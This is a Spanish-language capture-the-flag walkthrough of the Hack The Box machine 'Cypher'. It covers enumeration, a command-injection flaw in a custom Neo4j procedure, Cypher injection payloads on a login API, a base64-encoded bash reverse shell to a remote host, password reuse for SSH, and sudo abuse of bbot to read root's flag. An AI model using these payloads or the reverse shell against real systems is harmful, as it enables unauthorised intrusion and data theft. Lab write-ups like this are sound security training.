Cypher

Sobre esta maquina: HTB

Sistema Operativo: Linux

Skills Usados:

  • Crypher

  • json

  • Sql

Enumeracion Inicial con Nmap:

nmap -sC -sV -p- 10.10.11.57 -oN First_scannStarting Nmap 7.95 ( https://nmap.org ) at 2025-03-01 14:13 EST Nmap scan report for 10.10.11.57 Host is up (0.034s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA) |_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://cypher.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.73 seconds SSH (port 22) on an Ubuntu system. HTTP (port 80) running nginx 1.24.0 on Ubuntu. A redirect to http://cypher.htb/. We update our /etc/hosts to include: echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts With that in place, we can now browse to http://cypher.htb.

Enumeracion web:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt -u http://cypher.htb/FUZZ -c -t 50 /'\ /'\ /'\ /\ _/ /\ _/ __ __ /\ _/ \ \ ,\ \ ,/\ /\ \ \ \ ,\ \ \ _/ \ \ _/\ \ _\ \ \ \ _/ \ _\ \ _\ \ _/ \ _\ // // // /_

v2.1.0-dev

:: Method : GET :: URL : http://cypher.htb/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 index.html [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 34ms] login.html [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 33ms] . [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 34ms] about.html [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 34ms] logo.png testing [Status: 200, Size: 206674, Words: 651, Lines: 876, Duration: 33ms] :: Progress: [37050/37050] :: Job [1/1] :: 1506 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

Conseguimos testing, dentro de el conseguimos un archivo tar, al descomprimirlo conseguimos las siguientes funciones en CustoFuctions.class :

package com.cypher.neo4j.apoc; import java.io.BufferedReader; import java.io.InputStreamReader; import java.util.Arrays; import java.util.concurrent.TimeUnit; import java.util.stream.Stream; import org.neo4j.procedure.Description; import org.neo4j.procedure.Mode; import org.neo4j.procedure.Name; import org.neo4j.procedure.Procedure; public class CustomFunctions { @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ) @Description("Returns the HTTP status code for the given URL as a string") public Stream getUrlStatusCode(@Name("url") String url) throws Exception { if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) url = "https://" + url; String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url }; System.out.println("Command: " + Arrays.toString((Object[])command)); Process process = Runtime.getRuntime().exec(command); BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); StringBuilder errorOutput = new StringBuilder(); String line; while ((line = errorReader.readLine()) != null) errorOutput.append(line).append("\n"); String statusCode = inputReader.readLine(); System.out.println("Status code: " + statusCode); boolean exited = process.waitFor(10L, TimeUnit.SECONDS); if (!exited) { process.destroyForcibly(); statusCode = "0"; System.err.println("Process timed out after 10 seconds"); } else { int exitCode = process.exitValue(); if (exitCode != 0) { statusCode = "0"; System.err.println("Process exited with code " + exitCode); } } if (errorOutput.length() > 0) System.err.println("Error output:\n" + errorOutput.toString()); return Stream.of(new StringOutput(statusCode)); } public static class StringOutput { public String statusCode; public StringOutput(String statusCode) { this.statusCode = statusCode; } } }

La vulnerabilidad de este codigo esta en esta linea:

String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };

No hay sanitizacion asi que podriamos incluir comandos arbitrarios:

Inyeccion Cypher, podemos ver que nuestras credenciales se publican en Json /api/auth, asi que podemos observar que el parametro es vulnerable a la inyeccion:

POST /api/auth Host: cypher.htb Content-Type: application/json { "username": "test' OR 1=1 //", "password": "test" } Response: HTTP/1.1 400 Bad Request Server: nginx/1.24.0 (Ubuntu) Date: Sat, 01 Mar 2025 21:14:14 GMT Content-Length: 3480 Connection: keep-alive Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Query cannot conclude with MATCH (must be a RETURN clause, a FINISH clause, an update clause, a unit subquery call, or a procedure call with no YIELD). (line 1, column 1 (offset: 0)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'test' OR 1=1 //' return h.value as hash" ^}

Asi que ahora aplicamos la inyeccion:

echo "bash -c 'exec bash -i &>/dev/tcp/10.10.14.39/9999 <&1'" | base64 YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMjIvOTk5OSA8JjEnCg== { "username": "admin' OR 1=1 WITH 1 as n CALL custom.getUrlStatusCode('evil.com; ping -c5 10.10.14.39 #') YIELD statusCode RETURN n //", "password": "test1'+1=1--" }

Ahora que el servidor procesa la peticion observamos lo siguiente:

MATCH (u:USER)-[:SECRET]->(h:SHA1) WHERE u.name = 'admin' OR 1=1 WITH 1 as n CALL custom.getUrlStatusCode('evil.com; ping -c5 10.10.14.39 #') YIELD statusCode RETURN n

Iniciamos tcpdump, para obtener los paquetes vulnerables:

sudo tcpdump -i tun0 icmp

Realizamos la reverseshell:

{ "username": "admin' OR 1=1 WITH 1 as n CALL custom.getUrlStatusCode('evil.com; echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMjIvOTk5OSA8JjEnCg==|base64 -d|bash #') YIELD statusCode RETURN n //", "password": "anything" }

Inicimaos el nc escuchando por el puerto 9999:

Dentro del usuario neo4j, conseguimosen en el bash_history un password:

cat .bash_history neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

Intentamos ahora buscar usuarios:

MATCH (u:USER)-[:SECRET]->(h:SHA1) RETURN u.name AS username, h.value AS hash; Which reveals something like:

....+---------------------------------------------------------+ | username | has | +---------------------------------------------------------+ | "graphasm" | "9f54ca4c130be6d529a56dee59dc2b2090e43acf" | +---------------------------------------------------------+

El hash no lo pude crackear, asi que intente el usuario graphasm con la primera password por ssh a ver si logro ingresar:

ssh graphasm@10.10.11.57 password: cU4btyib.20xtCMCXkBmerhK

Estamos dentro, ahora buscamos la primera flag:

graphasm@cypher:$ ls bbot_preset.yml user.txt graphasm@cypher:$ cat user.txt d407e89a3958e073fe0cbf90c02f06b8

Intentamos escalar a Root:

Listamos los permisos:

graphasm@cypher:~$ sudo -l Matching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty User graphasm may run the following commands on cypher: ALL) NOPASSWD: /usr/local/bin/bbot

Ahora que sabemos que graphasm puede correr bbot como root, nosotros podemos cargar archivos yara como root/root.txt y obtener la ultima flag:

graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run ... [DBUG] internal.excavate: Setting up module excavate [DBUG] internal.excavate: Including Submodule CSPExtractor [DBUG] internal.excavate: Including Submodule EmailExtractor [DBUG] internal.excavate: Including Submodule ErrorExtractor [DBUG] internal.excavate: Including Submodule FunctionalityExtractor [DBUG] internal.excavate: Including Submodule HostnameExtractor [DBUG] internal.excavate: Including Submodule JWTExtractor [DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor [DBUG] internal.excavate: Including Submodule ParameterExtractor [DBUG] internal.excavate: Parameter Extraction disabled because no modules consume WEB_PARAMETER events [DBUG] internal.excavate: Including Submodule SerializationExtractor [DBUG] internal.excavate: Including Submodule URLExtractor [DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt] [DBUG] internal.excavate: Final combined yara rule contents: bd08452ebc068e611f90463a05edd1ec ... Al ejecutarlo, vemos la flag, la copiamos y hemos obtenido root: bd08452ebc068e611f90463a05edd1ec

con la obtención de la ultima flag damos la maquina por terminada.

Last updated